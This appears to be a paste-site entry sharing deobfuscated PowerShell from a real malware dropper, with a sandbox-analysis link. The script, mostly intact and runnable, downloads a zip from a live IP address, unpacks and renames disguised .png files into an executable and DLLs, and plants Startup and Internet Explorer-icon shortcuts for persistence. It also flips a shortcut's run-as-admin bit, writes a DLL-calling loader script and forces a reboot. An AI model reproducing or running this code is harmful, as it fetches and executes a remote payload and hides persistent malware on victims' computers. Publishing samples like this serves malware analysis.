ps66uk icon

malware_dropper

ps66uk | PRO | 06/28/19 04:01:53 PM UTC | 0 ⭐ | 3371 👁️ | Never ⏰ | []
text |

5.02 KB

|

None

|

0 👍

/

0 👎

  # deobfuscated pseudocode from http://51.75.142.21/l2406/uk/kk/20938092830482 - https://app.any.run/tasks/82c788e9-0d5e-4202-bc4b-7952bcbd27bf/
 # exe
$EXE = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ZQB4AGUA')))
 # zip
$ZIP = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('egBpAHAA')))
 # http://51.91.248.86/uk/M2406/kk/md.zip
$MALZIP = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('aAB0AHQAcAA6AC8ALwA1ADEALgA5ADEALgAyADQAOAAuADgANgAvAHUAawAvAE0AMgA0ADAANgAvAGsAawAvAG0AZAAuAHoAaQBwAA==')))
 $PUBLIC = "public"
$USERSPUBLIC = "c:\users\$PUBLIC"
 Function MAKE_RAND_NAME {
	$KEY_CHAR = "q","w","e","r","t","y","u","p","a","s","d","f","g","h","j","k","z","x","c","v","b","n","m"
	$KEY_NUM = "2_","3_","4_","5_","6_","7_","8_","9_"
	$RAND_NAME = $null
	$RAND_CHAR_6 = Get-Random -InputObject $KEY_CHAR -Count 6
	$RAND_NUM = Get-Random -InputObject $KEY_NUM -Count 1
	$RAND_CHAR_1 = Get-Random -InputObject $KEY_CHAR.ToUpper() -Count 1
	foreach($n in $RAND_CHAR_6) {
		$RAND_NAME += $n
	}
	foreach ($n2 in $RAND_NUM) {
		$RAND_NAME += $n2
	}
	foreach ($n3 in $RAND_CHAR_1) {
		$RAND_NAME += $n3
	}
	return "Java_$RAND_NAME"
}
 $MAL_FOLDER = MAKE_RAND_NAME
$MAL_STARTFILE = "$USERSPUBLIC\i.dat"
$CHECK_MALFILE = if ($MAL_STARTFILE) { Test-Path $MAL_STARTFILE }
$CHECK_MALFILE
 if($CHECK_MALFILE -eq 'True'){
     exit
}else{
	New-Item -ItemType directory -Path $USERSPUBLIC\$MAL_FOLDER
	$OBJ_DOWNLOAD = new-object System.Net.WebClient
	$OBJ_DOWNLOAD.DownloadFile($MALZIP,"$USERSPUBLIC\$MAL_FOLDER\$MAL_FOLDER.zip")
	$OBJ_APPLICATION = new-object -com shell.application 
	$MAL_ZIP = $OBJ_APPLICATION.namespace("$USERSPUBLIC\$MAL_FOLDER\$MAL_FOLDER.$ZIP") 
	$MAL_UNPACK = $OBJ_APPLICATION.namespace("$USERSPUBLIC\$MAL_FOLDER") 
	$MAL_UNPACK.Copyhere($MAL_ZIP.items())
	Rename-Item -NewName ("$USERSPUBLIC\$MAL_FOLDER\$MAL_FOLDER.$EXE") -Path ("$USERSPUBLIC\$MAL_FOLDER\$EXE.png")
	Rename-Item -NewName ("$USERSPUBLIC\$MAL_FOLDER\$MAL_FOLDER.LNS") -Path ("$USERSPUBLIC\$MAL_FOLDER\12.dll")
	Rename-Item -NewName ("$USERSPUBLIC\$MAL_FOLDER\sqlite3.dll") -Path ("$USERSPUBLIC\$MAL_FOLDER\sql.png")
 	function MAKE_BAD
	{
	  Param([string]$BAD_LNK,[string]$NOT_USED_1);
	  try{  
		$OBJ_MAKE = New-Object -ComObject WScript.Shell 
		$MAL_IE_LNK = $OBJ_MAKE.CreateShortcut($BAD_LNK) 
		$MAL_IE_LNK.TargetPath = "$USERSPUBLIC\$MAL_FOLDER\$MAL_FOLDER.$EXE"       
		$MAL_IE_LNK.Arguments = " $MAL_FOLDER1.LNS  $MAL_FOLDER"
		$MAL_IE_LNK.WorkingDirectory = "$USERSPUBLIC\$MAL_FOLDER" 
		$MAL_IE_LNK.WindowStyle = 7   
 		# %ProgramFiles%\Internet Explorer\iexplore.exe,1
		$MAL_IE_LNK.IconLocation = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JQBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwAlAFwASQBuAHQAZQByAG4AZQB0ACAARQB4AHAAbABvAHIAZQByAFwAaQBlAHgAcABsAG8AcgBlAC4AZQB4AGUALAAxAA==')))
		$MAL_IE_LNK.Save()
	  }finally{}
	}
 	$SHELL = New-Object -Com WScript.Shell
 	# startup
	$STARTUP.SpecialFolders.Item($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwB0AGEAcgB0AHUAcAA='))));          
	del $UNKNOWN_STR\*.vbs
	del $UNKNOWN_STR\*.lnk
	$ENV_APPDAT = "      $env:APPDATA\$NOT_USED_2, $NOT_USED_3"
	$BAD_LNK = "$UNKNOWN_STR\$MAL_FOLDER.lnk"  
 	MAKE_BAD $BAD_LNK  $ENV_APPDAT
 	MAKE_BAD "c:\users\public\c.lnk"   $ENV_APPDAT
	$bytes = [System.IO.File]::ReadAllBytes("c:\users\public\c.lnk")
	$bytes[0x15] = $bytes[0x15] -bor 0x20 #set byte 21 (0x15) bit 6 (0x20) ON
	[System.IO.File]::WriteAllBytes("c:\users\public\c.lnk", $bytes)
 	function MAKE_BAD_2
	{
	  Param([string]$BAD_LNK,[string]$STR_WTF);
	  try{  
		$OBJ_MAKE = New-Object -ComObject WScript.Shell 
		$LNK_INTERNET = $OBJ_MAKE.CreateShortcut($BAD_LNK) 
		$LNK_INTERNET.TargetPath = "c:\users\$PUBLIC\$MAL_FOLDER.vbs"      
		$LNK_INTERNET.Arguments = ""
 		# "Acessar a internet."
		$LNK_INTERNET.Description = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('IgBBAGMAZQBzAHMAYQByACAAYQAgAGkAbgB0AGUAcgBuAGUAdAAuACIA')));
		$LNK_INTERNET.WorkingDirectory = ""    
		$LNK_INTERNET.IconLocation = "$NOT_USED_4"
		$LNK_INTERNET.Save()
	  }finally{}
	}
 	$MAL_DAT = $MAL_FOLDER
	$MAL_DAT | Set-Content "$USERSPUBLIC\i.dat"
	$MAL_DAT | Out-File "$USERSPUBLIC\i.dat"
	$MAL_DAT > "$USERSPUBLIC\i.dat"
 	$BAD_LNK = "c:\users\public\chrome.lnk" 
	MAKE_BAD_2 $BAD_LNK  $STR_WTF
 	# Line
	$LINE = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TABpAG4AZQA=')))
 	# Cmd
	$CMD = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QwBtAGQA')))
 	$NUM_86 = '86'
	$OBJ_$ = "$"
	$Arquivo = "$USERSPUBLIC\$MAL_FOLDER\$MAL_FOLDER1.LNS"
 	$ArquivoSaida ="$USERSPUBLIC\$MAL_FOLDER\$MAL_FOLDER1.LNS"
	Add-Content $Arquivo '#NoTrayIcon'
	Add-Content $Arquivo "Global $OBJ_$$MAL_FOLDER = $OBJ_$$CMD$LINE[1]"
	Add-Content $Arquivo "Global $OBJ_$$MAL_FOLDER$NUM_86 = DllOpen('$MAL_FOLDER.LNS')"
	Add-Content $Arquivo "DllCall($OBJ_$$MAL_FOLDER$NUM_86, 'STRUCT', 'JLI_CmdToArgs')"
  	C:\WINDOWS\system32\shutdown.exe -r -t 200
 }

Comments